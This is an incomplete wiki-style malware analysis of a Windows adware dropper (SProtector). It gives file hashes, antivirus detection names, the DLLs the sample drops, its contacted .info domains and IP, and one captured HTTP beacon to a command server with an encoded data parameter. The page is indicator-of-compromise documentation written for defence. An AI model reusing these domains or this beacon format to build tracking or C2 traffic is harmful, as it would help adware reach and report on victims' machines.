23912df27a61ea0463c5509ba6a97579

From aldeid
Jump to: navigation, search

Description

Summary

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Identification

MD5 23912df27a61ea0463c5509ba6a97579
SHA1 6d04d56668e67e0d634a6914e54f503ec43cac8d
SHA256 cea8bb010eabac08eb71a9573dac157b690ab613be580065601c436549f4e755
ssdeep 98304:7im99vUKnhFX37Qx/SMHsJphLCYdbIDp7n8ofxAauAhJY59p7vFvIt19aMx:7im99vUoTASMHsVxKpfxA/AIVzFyx
imphash cc69a3de44da87e2193fc992c3ffdd07
File size 4.8 MB ( 4983808 bytes )
File type Win32 EXE
Magic literal
  • PE32 executable for MS Windows (GUI) Intel 80386 32-bit
  • TrID Win32 Executable MS Visual C++ (generic) (67.3%)
  • Win32 Dynamic Link Library (generic) (14.2%)
  • Win32 Executable (generic) (9.7%)
  • Generic Win/DOS Executable (4.3%)
  • DOS Executable Generic (4.3%)

Antivirus detection

Antivirus Result Update
Ad-Aware Gen:Variant.Dropper.99 20140619
AegisLab 20140619
Agnitum 20140618
AhnLab-V3 20140618
AntiVir TR/Graftor.woienwqm 20140619
Antiy-AVL Trojan[:HEUR]/Win32.AGeneric 20140619
Avast Win32:PUP-gen [PUP] 20140619
AVG Dropper.Generic_r.AF 20140619
Baidu-International Adware.Win32.SProtector.45 20140619
BitDefender Gen:Variant.Dropper.99 20140619
Bkav W32.WinadeyLTA.Trojan 20140619
ByteHero Trojan.Exception.gen.101 20140619
CAT-QuickHeal Trojan.Agent.g5 20140619
ClamAV 20140619
CMC 20140619
Commtouch 20140619
Comodo Application.Win32.Preload.A 20140619
DrWeb Trojan.WebPick.35 20140619
Emsisoft Gen:Variant.Dropper.99 (B) 20140619
ESET-NOD32 a variant of Win32/SProtector.H 20140619
F-Prot 20140619
F-Secure Gen:Variant.Dropper.99 20140619
Fortinet Adware/Agent 20140619
GData Gen:Variant.Dropper.99 20140619
Ikarus Trojan.Graftor 20140619
Jiangmin Trojan/Agent.keqe 20140619
K7AntiVirus Trojan ( 0049344e1 ) 20140619
K7GW Trojan ( 0049344e1 ) 20140619
Kaspersky Trojan.Win32.Agent.afsax 20140619
Kingsoft Win32.Troj.Undef.(kcloud) 20140619
Malwarebytes Trojan.SProtector 20140619
McAfee Generic-FAOD!23912DF27A61 20140619
McAfee-GW-Edition 20140618
Microsoft 20140619
MicroWorld-eScan Gen:Variant.Dropper.99 20140619
Norman 20140619
nProtect Trojan/W32.Agent.4983808.C 20140619
Panda Trj/Dropper.KM 20140618
Qihoo-360 20140619
Rising 20140619
Sophos Mal/Drop-AVTZ 20140619
SUPERAntiSpyware 20140619
Symantec Adware.BL 20140619
Tencent 20140619
TheHacker 20140617
TotalDefense 20140619
TrendMicro ADW_SPROTECT 20140619
TrendMicro-HouseCall ADW_SPROTECT 20140619
VBA32 BScope.Malware-Cryptor.SProtector 20140619
VIPRE Trojan.Win32.Generic!BT 20140619
ViRobot Trojan.Win32.A.Agent.4983808 20140619
Zillya Trojan.Agent.Win32.458015 20140619
Zoner 20140616

Artifcats

Files modifications

Created files

Following files have been created in the All Users\%appdata%\ directory:

  • Assistant.dll (MD5: d4d1cc69e363813c14f289694756aa1e)
  • AssistantSvc.dll (MD5: c2af2ea2ab4630bec3f40293fb2a93b4)

Following file has been created in %user%\Local Settings\Temp\:

  • tf00294823.dll (MD5: d4d1cc69e363813c14f289694756aa1e)

Registry modifications

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Network indicators

Contacted domains

Domain IP
  • applicationfirst.info
  • applicationmyweb.info
  • drivernetuk.info
  • easyprobar.info
  • foreverysun.info
  • livedriverget.info
  • livedrivernet.info
  • livedriverset.info
  • proffidrivergold.info
  • proffidriversun.info
  • skyprobar.info
  • solutionnetuk.info
  • zillionnetuk.info
162.210.192.21

HTTP request

GET /get/?data=cmLnkJRweDcq5RfMOQAIiGPEqqPQYqOXbfap2uE%2BrtykuyT/avQpIUmqbBvh%2BsqI%2BKDOo%2BvLF68146SaaUezSLsTGILvVuw2yFVBOjtDKtS3Lj1SNGPxE8e2vDdGAwfde%2Bbzx0jiXrLQD7TsW1xWOpNQ6KWcB6/zgArGsMHD55zPUJr5KepvnXFF3TGyy9Ynx7SKfiTy4vGWuSrcHyQDtJLBZuYFnGEifUk6NHDziGNqJDniTQWyRi9w/2vbOd%2Bt/6Z/TCsZTpmSAmIEERDKi6WuP8EzNXuZvCX9%2BBS%2BINAtbpjwio0Vce%2BdNubbywoS%2BfTLNLQnjKJhY2Qn53dJq3yZJuNt3UEHVrIGAp6jPzO5sTMgSE0XZp2k4juim1iAEDj2u2MMr/FSRKLs9o2MnW91M7accARQfES4cDH207vUJ3qPzCOhCdHlXw/5K2Q7ote91qyha&version=4 HTTP/1.1
Accept: */*
User-Agent: win32
Host: skyprobar.info
Cache-Control: no-cache

Static analysis

Resources

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

IATs

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Strings

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Comments

blog comments powered by Disqus

Keywords: